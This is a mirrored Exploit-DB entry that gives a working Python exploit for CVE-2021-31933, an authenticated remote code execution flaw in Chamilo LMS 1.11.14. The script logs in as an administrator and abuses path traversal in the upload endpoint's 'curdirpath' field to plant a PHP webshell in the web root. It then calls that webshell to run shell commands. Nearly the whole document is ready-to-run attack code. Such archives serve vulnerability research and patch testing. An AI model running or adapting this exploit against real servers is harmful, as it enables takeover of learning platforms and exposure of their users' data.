Chamilo LMS 1.11.14 – Remote Code Execution (Authenticated)

  • 作者: M. Cory Billington
    日期: 2021-05-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49867/
  • # Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
    # Date: 13/05/2021
    # Exploit Author: M. Cory Billington (@_th3y)
    # Vendor Homepage: https://chamilo.org
    # Software Link: https://github.com/chamilo/chamilo-lms
    # Version: 1.11.14
    # Tested on: Ubuntu 20.04.2 LTS
    # CVE: CVE-2021-31933
    # Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/
    
    from requests import Session
    from random import choice
    from string import ascii_lowercase
    
    import requests
    
    # This is all configuration stuff, 
    url = "http://127.0.0.1/chamilo-lms/"# URL to remote host web root
    user_name = "admin"# User must be an administrator
    password = "admin"
    command = "id;whoami"
    
    # Where you want to upload your webshell. Must be writable by web server user.
    # This spot isn't protectec by .htaccess
    webshell_path = 'web/' 
    webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
    content = f"<?php echo `{command}`; ?>" 
    
    def main():
    # Run a context manager with a session object to hold login session after login
    with Session() as s:
    login_url = f"{url}index.php"
    login_data = {
    "login": user_name,
    "password": password
    }
    r = s.post(login_url, data=login_data) # login request
    
    # Check to see if login as admin user was successful.
    if "admin" not in r.url:
    print(f"[-] Login as {user_name} failed. Need to be admin")
    return
    print(f"[+] Logged in as {user_name}")
    print(f"[+] Cookie: {s.cookies}")
    file_upload_url = f"{url}main/upload/upload.php"
    # The 'curdirpath' is not santitized, so I traverse tothe '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
    php_webshell_file = {
    "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
    "user_upload": (webshell_name, content)
    }
    
    ## Good command if you want to see what the request looks like without sending
    # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))
    
    # Two requests required to actually upload the file
    for i in range(2):
    s.post(file_upload_url, files=php_webshell_file)
    
    exploit_request_url = f"{url}{webshell_path}{webshell_name}"
    print("[+] Upload complete!")
    print(f"[+] Webshell: {exploit_request_url}")
    
    # This is a GET request to the new webshell to trigger code execution
    command_output = s.get(exploit_request_url)
    print("[+] Command output:\n")
    print(command_output.text)
    
    
    
    if __name__ == "__main__":
    main()